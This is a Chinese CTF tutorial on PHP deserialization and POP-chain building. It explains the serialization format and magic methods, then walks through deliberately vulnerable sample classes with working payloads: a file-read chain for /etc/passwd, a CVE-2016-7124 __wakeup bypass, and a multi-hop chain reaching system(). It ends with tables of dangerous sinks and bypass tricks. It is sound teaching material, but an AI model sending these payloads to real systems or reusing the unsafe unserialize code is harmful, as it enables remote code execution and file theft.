PHP反序列化与POP链完全指南
从零开始掌握PHP反序列化漏洞与POP链构造
一、序列化和反序列化到底是什么?
概念解释
简单说:
- 序列化:把内存中的对象、数组、变量等”打包”成一个字符串或字节流,方便存储或传输。
- 反序列化:把这个字符串或字节流再还原成原来的对象、数组、变量。
通俗比喻
你有一个乐高城堡,如果想把它的结构告诉远方的朋友,不能直接把城堡寄过去,你可以把它拆成零件,并写一份”拼装说明书”。朋友拿到说明书后,按照说明书重新拼出一个城堡。
这个”拆成零件并写说明书”的过程就是序列化,朋友”按照说明书重新拼装”的过程就是反序列化。
代码示例
在 PHP 中,主要使用这两个函数:
1 2
| serialize($obj); unserialize($str);
|
效果演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $obj = new stdClass(); $obj->name = "test"; $obj->age = 20;
$str = serialize($obj); echo $str;
$restored = unserialize($str); print_r($restored);
|
CTF Web 题中,PHP 反序列化出现频率最高,所以本文主要围绕 PHP 来讲。
二、PHP 序列化格式拆解
先看几个常见类型的序列化结果。
1. 字符串
代码示例
效果演示
s 表示 string
4 表示字符串长度为 4
"test" 是实际内容
2. 整数
代码示例
效果演示
3. 布尔值
代码示例
1 2
| serialize(true); serialize(false);
|
效果演示
4. 数组
代码示例
效果演示
1
| a:2:{i:0;s:1:"a";i:1;s:1:"b";}
|
5. 对象(重点)
代码示例
1 2 3 4 5 6 7
| class User { public $name = "tom"; private $age = 18; protected $sex = "male"; }
echo serialize(new User());
|
效果演示
1 2 3 4 5
| O:4:"User":3:{ s:4:"name";s:3:"tom"; s:9:"\0User\0age";i:18; s:6:"\0*\0sex";s:4:"male"; }
|
格式拆解
| 符号 |
含义 |
O |
object(对象) |
4 |
类名 User 的长度 |
3 |
对象有 3 个属性 |
重点:不同属性类型的序列化格式
| 属性类型 |
序列化格式 |
示例 |
public |
属性名原样 |
name |
private |
\0ClassName\0property |
\0User\0age |
protected |
\0*\0property |
\0*\0sex |
关键注意:\0 是空字符(ASCII 0),实际是不可见的。在计算长度时:
\0User\0age 的长度是 9,不是 7
\0*\0sex 的长度是 6,不是 5
长度算错会导致反序列化失败,这是 CTF 中手工构造 payload 时最常见的错误!
三、反序列化漏洞是怎么产生的?
很多新手会问:
反序列化本身有什么问题?不就是还原一个对象吗?
问题在于:反序列化时,PHP 会自动调用一些”魔术方法”。
如果这些魔术方法里存在危险操作,而攻击者又能控制传给 unserialize() 的数据,就可能触发漏洞。
基础漏洞示例
代码示例
1 2 3 4 5 6 7 8 9
| class Danger { public $cmd; public function __destruct() { system($this->cmd); } }
$data = $_GET['data']; unserialize($data);
|
攻击者构造 Payload
1
| O:6:"Danger":1:{s:3:"cmd";s:2:"id";}
|
效果演示
1 2 3
| 反序列化后,脚本结束时对象销毁,自动调用 __destruct() 执行 system("id") 输出当前用户信息
|
但真实 CTF 题目往往不会这么直接,通常会引入各种限制和复杂的类结构,需要你构造一条 POP 链。
四、PHP 魔术方法速查
在 CTF 中,这些魔术方法经常被用到:
代码示例(魔术方法对照表)
| 魔术方法 |
触发时机 |
__construct() |
对象被创建时 |
__destruct() |
对象被销毁时(脚本结束、引用计数为 0 等) |
__wakeup() |
unserialize() 时被自动调用 |
__sleep() |
serialize() 时被自动调用 |
__toString() |
对象被当作字符串使用时,例如 echo $obj |
__call($name, $args) |
调用对象中不存在或不可访问的方法时 |
__get($name) |
访问对象中不存在或不可访问的属性时 |
__set($name, $value) |
给对象中不存在或不可访问的属性赋值时 |
__invoke() |
对象被当作函数调用时 |
__isset() |
对不可访问属性调用 isset() 或 empty() 时 |
__unset() |
对不可访问属性调用 unset() 时 |
__clone() |
克隆对象时 |
CTF 出场率最高的几个
效果演示
1 2 3 4 5 6 7 8
| 出场率排行: 1. __destruct # 几乎必考 2. __wakeup # 常考,且有绕过技巧 3. __toString # 高频考点 4. __call # 常见跳板 5. __get # 常见跳板 6. __set # 有时出现 7. __invoke # 命令执行常用
|
这些魔术方法就像一个个”自动触发点”,是 POP 链的重要环节。
五、POP 链:CTF 反序列化核心
5.1 什么是 POP 链?
POP 是 Property-Oriented Programming 的缩写,意思是”属性导向编程”。
这个名字借鉴了二进制漏洞利用中的 ROP(Return-Oriented Programming,返回导向编程)。ROP 的思路是:程序里没有直接可利用的函数,但有很多零散的代码片段(gadget),通过控制返回地址把它们串联起来,最终达到攻击目的。
POP 链也是类似的思路:
代码中可能没有直接的危险函数调用,但是存在很多类,每个类中都有一个看似正常的方法。通过控制对象的属性,把这些类的方法串联起来,最终触发危险操作。
效果演示
| 概念 |
串联对象 |
| ROP |
代码片段 |
| POP |
类和方法 |
5.2 POP 链构造思路
代码示例(构造步骤)
1 2 3 4 5 6 7 8 9
| 1. 找 sink ↓ 2. 回溯调用链 ↓ 3. 找触发点 ↓ 4. 串联 ↓ 5. 生成 payload
|
详细步骤
| 步骤 |
说明 |
| 1. 找 sink |
寻找危险函数,如 system()、eval()、file_get_contents() |
| 2. 回溯调用链 |
找到哪些类的方法调用了这些危险函数,且参数可控 |
| 3. 找触发点 |
找到哪些魔术方法会自动调用这些方法 |
| 4. 串联 |
从入口开始,一级一级往下串,直到 sink |
| 5. 生成 payload |
实例化类,设置属性,serialize() 得到最终 payload |
链路示意图
1 2 3 4 5 6 7
| 入口魔术方法(自动触发) ↓ 中间方法(跳板) ↓ 危险方法(sink) ↓ 系统命令 / 文件读取 / 代码执行
|
5.3 构造实例 1:入门级 POP 链读文件
题目代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php class FileReader { public $filename; public function __toString() { if (file_exists($this->filename)) { return file_get_contents($this->filename); } return ""; } }
class Logger { public $log; public function __destruct() { echo "Log: " . $this->log; } }
$data = $_GET['data']; unserialize($data); ?>
|
分析过程
| 步骤 |
说明 |
| 找 sink |
file_get_contents($this->filename),参数 $this->filename 可控 |
| 找到方法 |
位于 FileReader::__toString() 中 |
| 如何触发 |
需要把 FileReader 对象当作字符串使用 |
| 触发位置 |
Logger::__destruct() 中的 echo "Log: " . $this->log |
完整链路
1 2 3 4 5 6 7
| Logger::__destruct() ↓ echo 连接对象 FileReader::__toString() ↓ file_get_contents($this->filename) ↓ 读取任意文件
|
代码示例(Payload 生成)
1 2 3 4 5 6 7
| $fr = new FileReader(); $fr->filename = "/etc/passwd";
$logger = new Logger(); $logger->log = $fr;
echo serialize($logger);
|
效果演示
1 2 3 4 5 6 7 8 9
| 输出序列化字符串: O:6:"Logger":1:{s:3:"log";O:10:"FileReader":1:{s:8:"filename";s:11:"/etc/passwd";}}
传入 data 参数后: → 反序列化 → 脚本结束触发 __destruct() → __destruct 中 echo 触发 __toString() → 读取 /etc/passwd → 输出文件内容
|
5.4 构造实例 2:命令执行 + 绕过 __wakeup
题目代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class Cmd { public $cmd; public function __wakeup() { if (isset($this->cmd)) { $this->cmd = "whoami"; } } public function __destruct() { system($this->cmd); } }
$data = $_GET['data']; unserialize($data); ?>
|
问题分析
这里有一个 __wakeup(),会在反序列化时自动执行,并把 $cmd 强制改成 "whoami"。
如果直接构造:
1
| O:3:"Cmd":1:{s:3:"cmd";s:2:"id";}
|
反序列化时 __wakeup() 会把 cmd 改成 whoami,最终执行 system("whoami"),而不是 id。
漏洞利用:CVE-2016-7124
影响版本: PHP 5 < 5.6.25 和 PHP 7 < 7.0.10
漏洞原理: 当序列化字符串中对象属性个数的值大于真实属性个数时,__wakeup() 会被跳过。
代码示例(绕过 Payload)
1 2
| O:3:"Cmd":2:{s:3:"cmd";s:2:"id";}
|
效果演示
1 2 3 4 5 6
| 传入 O:3:"Cmd":2:{s:3:"cmd";s:2:"id";} → 反序列化 → __wakeup() 被跳过(属性个数不匹配) → 脚本结束触发 __destruct() → 执行 system("id") → 输出当前用户和权限信息
|
注意:这个漏洞只在特定 PHP 版本中存在,但在 CTF 环境中经常被故意配置成有漏洞的版本,仍然需要掌握。
5.5 构造实例 3:多跳 POP 链(核心重点)
题目代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php class D { public $cmd; public function __invoke() { system($this->cmd); } }
class C { public $obj; public function __call($name, $args) { call_user_func_array($this->obj, $args); } }
class B { public $c; public function __toString() { $this->c->notexist(); return "B"; } }
class A { public $b; public function __destruct() { echo $this->b; } }
$data = $_GET['data']; unserialize($data); ?>
|
详细分析
第一步:找 sink
目标:把 D 对象当作函数调用
第二步:谁可以触发 __invoke?
1 2
| call_user_func_array($this->obj, $args);
|
如果 C->obj 是 D 对象,调用 call_user_func_array() 时会触发 D::__invoke()
条件: 进入 C::__call()
第三步:谁可以触发 __call?
如果 B->c 是 C 对象,调用 notexist() 会触发 C::__call()
条件: 进入 B::__toString()
第四步:谁可以触发 __toString?
如果 A->b 是 B 对象,echo 会触发 B::__toString()
条件: 进入 A::__destruct()(反序列化后自动触发)
完整链路
1 2 3 4 5 6 7 8 9 10 11
| A::__destruct() ← 入口(自动触发) ↓ echo 对象 B::__toString() ← 第1跳 ↓ 调用不存在的方法 C::__call() ← 第2跳 ↓ call_user_func_array D::__invoke() ← 第3跳 ↓ system($this->cmd) ← sink ↓ 执行任意命令
|
代码示例(Payload 生成)
1 2 3 4 5 6 7 8 9 10 11 12 13
| $d = new D(); $d->cmd = "id";
$c = new C(); $c->obj = $d;
$b = new B(); $b->c = $c;
$a = new A(); $a->b = $b;
echo serialize($a);
|
效果演示
1 2 3 4 5 6 7 8 9 10 11
| 序列化输出: O:1:"A":1:{s:1:"b";O:1:"B":1:{s:1:"c";O:1:"C":1:{s:3:"obj";O:1:"D":1:{s:3:"cmd";s:2:"id";}}}}
传入 data 后: → 反序列化 → 脚本结束触发 A::__destruct() → echo A->b 触发 B::__toString() → B->c->notexist() 触发 C::__call() → call_user_func_array($obj, $args) 触发 D::__invoke() → system("id") → 执行成功
|
六、POP 链构造要点总结
通过上面三个实例,可以总结出 POP 链构造的核心思路:
1. 常见 Sink(危险函数)
代码示例
| 类型 |
函数 |
| 命令执行 |
system()、exec()、shell_exec()、passthru()、popen() |
| 代码执行 |
eval()、assert()、preg_replace() 的 /e 修饰符 |
| 文件读取 |
file_get_contents()、readfile()、fopen() |
| 文件写入 |
file_put_contents()、fwrite() |
| 文件删除 |
unlink() |
| 变量覆盖 |
extract()、parse_str() |
2. 常见触发点(入口)
效果演示
1 2 3 4 5 6 7 8
| 触发点优先级: 1. __destruct() # 最常用,脚本结束自动触发 2. __wakeup() # 反序列化时自动触发 3. __toString() # 对象被当作字符串时 4. __call() # 调用不存在的方法时 5. __get() # 访问不存在的属性时 6. __set() # 设置不存在的属性时 7. __invoke() # 对象被当作函数调用时
|
3. 常见链路模式
代码示例
1 2 3 4
| __destruct → __toString → __call → __invoke → system __destruct → __toString → __get → file_get_contents __wakeup → __toString → __call → eval __destruct → __get → __call → system
|
4. 关键细节注意事项
| 要点 |
说明 |
private 属性 |
序列化字符串包含 \0ClassName\0,长度要算对 |
protected 属性 |
序列化字符串包含 \0*\0,长度要算对 |
__wakeup 绕过 |
属性个数大于实际个数(限 PHP 特定版本) |
| 关键字过滤 |
考虑大小写绕过、编码绕过、字符串逃逸 |
| Phar 反序列化 |
没有直接 unserialize() 时,可通过 phar:// 触发 |
九、速查对照表
PHP 序列化格式速查
代码示例
| 类型 |
格式 |
示例 |
| 字符串 |
s:长度:"内容" |
s:4:"test" |
| 整数 |
i:数值 |
i:123 |
| 布尔 |
b:0/1 |
b:1 |
| 数组 |
a:个数:{键值对} |
a:2:{i:0;s:1:"a";...} |
| 对象 |
O:类名长度:"类名":属性个数:{属性键值对} |
O:4:"User":1:{...} |
魔术方法触发条件速查
| 方法 |
触发条件 |
__construct |
new 创建对象 |
__destruct |
对象销毁 |
__wakeup |
unserialize() |
__sleep |
serialize() |
__toString |
对象用作字符串 |
__call |
调用不可访问方法 |
__get |
读取不可访问属性 |
__set |
设置不可访问属性 |
__invoke |
对象用作函数 |
POP 链常用跳板
效果演示
1 2 3 4 5
| 跳板组合: __destruct → __toString → __call → __invoke __destruct → __get → __call → system __wakeup → __toString → __get → eval __destruct → __set → __call → file_put_contents
|
十、总结
序列化和反序列化本身不是漏洞,漏洞来自:
- 反序列化数据用户可控
- 代码中存在危险的魔术方法或 POP 链
CTF 中的 PHP 反序列化题,核心就是 POP 链构造。
掌握 POP 链的关键
- 看懂 PHP 序列化格式
- 熟悉常见魔术方法及触发条件
- 会从 sink 反向回溯调用链
- 能手工或脚本生成 payload
扩展阅读